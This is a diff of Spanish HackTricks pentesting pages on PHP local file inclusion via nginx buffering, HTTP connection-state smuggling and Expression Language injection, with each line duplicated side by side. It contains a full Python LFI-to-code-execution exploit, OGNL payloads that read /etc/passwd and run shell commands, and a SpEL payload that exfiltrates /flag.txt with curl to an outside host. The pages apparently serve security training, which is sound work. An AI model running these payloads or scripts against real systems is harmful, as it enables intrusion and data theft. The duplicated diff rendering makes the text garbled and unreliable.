El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes revisar su sitio web y probar su motor de forma **gratuita** en:
{% embed url="https://whiteintel.io" %} {% embed url="https://whiteintel.io" %}
@ -36,26 +37,26 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
\`\`\`\`h\` \`\`\`\`h\`
/dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted) ... \`\`\` Nota: No se puede incluir directamente \`/proc/34/fd/15\` en este ejemplo, ya que la función \`include\` de PHP resolvería la ruta a \`/var/lib/nginx/body/0000001368 (deleted)\` que no existe en el sistema de archivos. Afortunadamente, esta restricción menor se puede evitar mediante alguna indirección como: \`/proc/self/fd/34/../../../34/fd/15\` que finalmente ejecutará el contenido del archivo eliminado \`/var/lib/nginx/body/0000001368\`. ## Exploit completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explotar la inclusión de archivos locales de PHP (LFI) a través de la asistencia de almacenamiento en búfer del cuerpo del cliente de nginx # ver https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para más detalles URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar procesos de trabajo de nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] nginx worker found: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # cargar un cuerpo de cliente grande para forzar a nginx a crear un /var/lib/nginx/body/$X def uploader(): print('\[+] starting uploader') while not done: requests.get(URL, data=' //' /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0 lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon\_inode:\[eventfd] lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:\[27587] lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:\[27589] lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:\[44926] lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:\[44927] lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (eliminado) ... \`\`\` Nota: No se puede incluir directamente \`/proc/34/fd/15\` en este ejemplo ya que la función \`include\` de PHP resolvería la ruta a \`/var/lib/nginx/body/0000001368 (eliminado)\` que no existe en el sistema de archivos. Esta pequeña restricción puede ser afortunadamente eludida por alguna indirecta como: \`/proc/self/fd/34/../../../34/fd/15\` que finalmente ejecutará el contenido del archivo eliminado \`/var/lib/nginx/body/0000001368\`. ## Exploit Completo \`\`\`python #!/usr/bin/env python3 import sys, threading, requests # explotar inclusión de archivo local PHP (LFI) a través de la asistencia de almacenamiento en búfer del cuerpo del cliente de nginx # ver https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ para más detalles URL = f'http://{sys.argv\[1]}:{sys.argv\[2]}/' # encontrar procesos de trabajo de nginx r = requests.get(URL, params={ 'file': '/proc/cpuinfo' }) cpus = r.text.count('processor') r = requests.get(URL, params={ 'file': '/proc/sys/kernel/pid\_max' }) pid\_max = int(r.text) print(f'\[\*] cpus: {cpus}; pid\_max: {pid\_max}') nginx\_workers = \[] for pid in range(pid\_max): r = requests.get(URL, params={ 'file': f'/proc/{pid}/cmdline' }) if b'nginx: worker process' in r.content: print(f'\[\*] trabajador de nginx encontrado: {pid}') nginx\_workers.append(pid) if len(nginx\_workers) >= cpus: break done = False # subir un gran cuerpo de cliente para forzar a nginx a crear un /var/lib/nginx/body/$X def uploader(): print('\[+] comenzando uploader') while not done: requests.get(URL, data=' //'
``` ```
requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload))))) requests_session.post(SERVER + "/?action=read&file=/bla", data=(payload + ("a" * (body_size - len(payload)))))
except: except:
pass pass
``` ```
```python ```python
def send_payload_worker(requests_session): while True: send_payload(requests_session) def send\_payload\_worker(requests\_session): while True: send\_payload(requests\_session)
def send_payload_multiprocess(requests_session): # Utilice todos los CPUs para enviar el payload como cuerpo de solicitud para Nginx for _ in range(multiprocessing.cpu_count()): p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,)) p.start() def send\_payload\_multiprocess(requests\_session): # Usa todos los CPUs para enviar la carga útil como cuerpo de la solicitud para Nginx for \_ in range(multiprocessing.cpu\_count()): p = multiprocessing.Process(target=send\_payload\_worker, args=(requests\_session,)) p.start()
def generate_random_path_prefix(nginx_pids): # Este método crea una ruta a partir de una cantidad aleatoria de componentes de ruta de ProcFS. Una ruta generada se verá como /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root path = "" component_num = random.randint(0, 10) for _ in range(component_num): pid = random.choice(nginx_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path def generate\_random\_path\_prefix(nginx\_pids): # Este método crea una ruta a partir de una cantidad aleatoria de componentes de ruta de ProcFS. Una ruta generada se verá como /proc/\<nginx pid 1>/cwd/proc/\<nginx pid 2>/root/proc/\<nginx pid 3>/root path = "" component\_num = random.randint(0, 10) for \_ in range(component\_num): pid = random.choice(nginx\_pids) if random.randint(0, 1) == 0: path += f"/proc/{pid}/cwd" else: path += f"/proc/{pid}/root" return path
def read_file(requests_session, nginx_pid, fd, nginx_pids): nginx_pid_list = list(nginx_pids) while True: path = generate_random_path_prefix(nginx_pid_list) path += f"/proc/{nginx_pid}/fd/{fd}" try: d = requests_session.get(SERVER + f"/?action=include&file={path}").text except: continue # Las banderas están formateadas como hxp{} if "hxp" in d: print("¡Bandera encontrada! ") print(d) def read\_file(requests\_session, nginx\_pid, fd, nginx\_pids): nginx\_pid\_list = list(nginx\_pids) while True: path = generate\_random\_path\_prefix(nginx\_pid\_list) path += f"/proc/{nginx\_pid}/fd/{fd}" try: d = requests\_session.get(SERVER + f"/?action=include\&file={path}").text except: continue # Las banderas están formateadas como hxp{} if "hxp" in d: print("¡Bandera encontrada! ") print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids): # Escanear los FDs de Nginx entre 10 - 45 en un bucle. Dado que los archivos y sockets se cierran con frecuencia, es muy común que el FD del cuerpo de la solicitud se abra dentro de este rango for fd in range(10, 45): thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids)) thread.start() def read\_file\_worker(requests\_session, nginx\_pid, nginx\_pids): # Escanea los FDs de Nginx entre 10 - 45 en un bucle. Dado que los archivos y sockets siguen cerrándose, es muy común que el FD del cuerpo de la solicitud se abra dentro de este rango for fd in range(10, 45): thread = threading.Thread(target = read\_file, args = (requests\_session, nginx\_pid, fd, nginx\_pids)) thread.start()
def read_file_multiprocess(requests_session, nginx_pids): for nginx_pid in nginx_pids: p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids)) p.start() def read\_file\_multiprocess(requests\_session, nginx\_pids): for nginx\_pid in nginx\_pids: p = multiprocessing.Process(target=read\_file\_worker, args=(requests\_session, nginx\_pid, nginx\_pids)) p.start()
if __name__ == "main": print('\[DEBUG] Creando sesión de solicitudes') requests_session = create_requests_session() print('\[DEBUG] Obteniendo PIDs de Nginx') nginx_pids = get_nginx_pids(requests_session) print(f'\[DEBUG] PIDs de Nginx: {nginx_pids}') print('\[DEBUG] Iniciando envío de payload') send_payload_multiprocess(requests_session) print('\[DEBUG] Iniciando lectores de FD') read_file_multiprocess(requests_session, nginx_pids) if **name** == "**main**": print('\[DEBUG] Creando sesión de solicitudes') requests\_session = create\_requests\_session() print('\[DEBUG] Obteniendo pids de Nginx') nginx\_pids = get\_nginx\_pids(requests\_session) print(f'\[DEBUG] Pids de Nginx: {nginx\_pids}') print('\[DEBUG] Iniciando el envío de carga útil') send\_payload\_multiprocess(requests\_session) print('\[DEBUG] Iniciando lectores de fd') read\_file\_multiprocess(requests\_session, nginx\_pids)
``` ```
``` ```

View file

@ -1,24 +1,27 @@
# HTTP Connection Request Smuggling # HTTP Connection Request Smuggling
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
**Este es un resumen del post** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks) **Este es un resumen de la publicación** [**https://portswigger.net/research/browser-powered-desync-attacks**](https://portswigger.net/research/browser-powered-desync-attacks)
## Ataques de Manipulación del Estado de Conexión <a href="#state" id="state"></a> ## Ataques de Estado de Conexión <a href="#state" id="state"></a>
### Validación de la Primera Solicitud ### Validación de la Primera Solicitud
Al enrutar solicitudes, los servidores proxy inversos pueden depender del **encabezado Host** para determinar el servidor de destino en el backend, a menudo confiando en una lista blanca de hosts que tienen acceso permitido. Sin embargo, existe una vulnerabilidad en algunos servidores proxy donde la lista blanca solo se aplica en la solicitud inicial de una conexión. En consecuencia, los atacantes podrían explotar esto primero realizando una solicitud a un host permitido y luego solicitando un sitio interno a través de la misma conexión: Al enrutar solicitudes, los proxies inversos pueden depender del **encabezado Host** para determinar el servidor de back-end de destino, a menudo confiando en una lista blanca de hosts que tienen acceso permitido. Sin embargo, existe una vulnerabilidad en algunos proxies donde la lista blanca solo se aplica a la solicitud inicial en una conexión. En consecuencia, los atacantes podrían explotar esto haciendo primero una solicitud a un host permitido y luego solicitando un sitio interno a través de la misma conexión:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: [allowed-external-host] Host: [allowed-external-host]
@ -26,9 +29,9 @@ Host: [allowed-external-host]
GET / HTTP/1.1 GET / HTTP/1.1
Host: [internal-host] Host: [internal-host]
``` ```
### Enrutamiento de la primera solicitud ### First-request Routing
En algunas configuraciones, un servidor frontal puede usar el **encabezado Host de la primera solicitud** para determinar el enrutamiento del servidor de destino para esa solicitud, y luego enrutar de manera persistente todas las solicitudes posteriores desde la misma conexión del cliente a la misma conexión del servidor de destino. Esto se puede demostrar de la siguiente manera: En algunas configuraciones, un servidor de front-end puede usar el **encabezado Host de la primera solicitud** para determinar el enrutamiento de back-end para esa solicitud, y luego enrutar de manera persistente todas las solicitudes subsiguientes de la misma conexión de cliente a la misma conexión de back-end. Esto se puede demostrar como:
``` ```
GET / HTTP/1.1 GET / HTTP/1.1
Host: example.com Host: example.com
@ -36,20 +39,23 @@ Host: example.com
POST /pwreset HTTP/1.1 POST /pwreset HTTP/1.1
Host: psres.net Host: psres.net
``` ```
Este problema potencialmente se puede combinar con [ataques de encabezado de host](https://portswigger.net/web-security/host-header), como envenenamiento de restablecimiento de contraseña o [envenenamiento de caché web](https://portswigger.net/web-security/web-cache-poisoning), para explotar otras vulnerabilidades o obtener acceso no autorizado a hosts virtuales adicionales. Este problema puede combinarse potencialmente con [ataques de encabezado Host](https://portswigger.net/web-security/host-header), como el envenenamiento de restablecimiento de contraseña o [envenenamiento de caché web](https://portswigger.net/web-security/web-cache-poisoning), para explotar otras vulnerabilidades o obtener acceso no autorizado a hosts virtuales adicionales.
{% hint style="info" %} {% hint style="info" %}
Para identificar estas vulnerabilidades, se puede utilizar la función 'sonda de estado de conexión' en HTTP Request Smuggler. Para identificar estas vulnerabilidades, se puede utilizar la función 'connection-state probe' en HTTP Request Smuggler.
{% endhint %} {% endhint %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com) * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,24 +1,27 @@
# EL - Lenguaje de Expresión # EL - Expression Language
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io) ### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares de robo**. [**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información. Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
Puedes visitar su sitio web y probar su motor de forma **gratuita** en: Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
@ -26,11 +29,11 @@ Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
*** ***
## Información Básica ## Bsic Info
El Lenguaje de Expresión (EL) es fundamental en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de la aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza predominantemente en: Expression Language (EL) es integral en JavaEE para conectar la capa de presentación (por ejemplo, páginas web) y la lógica de aplicación (por ejemplo, beans gestionados), permitiendo su interacción. Se utiliza predominantemente en:
* **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones de backend. * **JavaServer Faces (JSF)**: Para vincular componentes de UI a datos/acciones del backend.
* **JavaServer Pages (JSP)**: Para acceso y manipulación de datos dentro de páginas JSP. * **JavaServer Pages (JSP)**: Para acceso y manipulación de datos dentro de páginas JSP.
* **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar la interacción de la capa web con beans gestionados. * **Contexts and Dependency Injection for Java EE (CDI)**: Para facilitar la interacción de la capa web con beans gestionados.
@ -39,17 +42,17 @@ El Lenguaje de Expresión (EL) es fundamental en JavaEE para conectar la capa de
* **Spring Framework**: Aplicado en varios módulos como Seguridad y Datos. * **Spring Framework**: Aplicado en varios módulos como Seguridad y Datos.
* **Uso General**: A través de la API SpEL por desarrolladores en lenguajes basados en JVM como Java, Kotlin y Scala. * **Uso General**: A través de la API SpEL por desarrolladores en lenguajes basados en JVM como Java, Kotlin y Scala.
EL está presente en tecnologías JavaEE, entornos independientes y es reconocible a través de extensiones de archivo `.jsp` o `.jsf`, errores de pila y términos como "Servlet" en encabezados. Sin embargo, sus características y el uso de ciertos caracteres pueden depender de la versión. EL está presente en tecnologías JavaEE, entornos independientes, y es reconocible a través de extensiones de archivo `.jsp` o `.jsf`, errores de pila y términos como "Servlet" en encabezados. Sin embargo, sus características y el uso de ciertos caracteres pueden depender de la versión.
{% hint style="info" %} {% hint style="info" %}
Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y generalmente algunos **caracteres** pueden estar **prohibidos**. Dependiendo de la **versión de EL**, algunas **características** pueden estar **activadas** o **desactivadas** y generalmente algunos **caracteres** pueden estar **prohibidos**.
{% endhint %} {% endhint %}
## Ejemplo Básico ## Basic Example
(Puedes encontrar otro tutorial interesante sobre EL en [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/)) (Puedes encontrar otro tutorial interesante sobre EL en [https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/))
Descarga desde el [**repositorio Maven**](https://mvnrepository.com) los archivos jar: Descarga del repositorio [**Maven**](https://mvnrepository.com) los archivos jar:
* `commons-lang3-3.9.jar` * `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar` * `spring-core-5.2.1.RELEASE.jar`
@ -81,20 +84,20 @@ A continuación, compila el código (si no tienes `javac` instalado, instala `su
```java ```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
``` ```
Ejecute la aplicación con: Ejecuta la aplicación con:
```java ```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate: Enter a String to evaluate:
{5*5} {5*5}
[25] [25]
``` ```
Observa cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**. Note cómo en el ejemplo anterior el término `{5*5}` fue **evaluado**.
## **Tutorial basado en CVE** ## **Tutorial Basado en CVE**
Revísalo en **este post:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a) Consúltalo en **esta publicación:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
## Cargas útiles ## Payloads
### Acciones básicas ### Acciones básicas
```bash ```bash
@ -137,17 +140,17 @@ https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.Og
#Blind detection vector (sleep during 10 seconds) #Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString} https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
``` ```
### Inclusión Remota de Archivos ### Inclusión de Archivos Remotos
```bash ```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
``` ```
### Listado de directorios ### Listado de Directorios
```bash ```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=.. https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
``` ```
### RCE ### RCE
* **Explicación** básica de RCE * Explicación básica de RCE **explanation**
```bash ```bash
#Check the method getRuntime is there #Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()} {"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
@ -163,7 +166,7 @@ https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlCo
# With HTMl entities injection inside the template # With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'> <a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
``` ```
* Ejecución remota de código **Linux** * RCE **linux**
```bash ```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
``` ```
@ -207,10 +210,10 @@ T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream()) T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe') ''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
``` ```
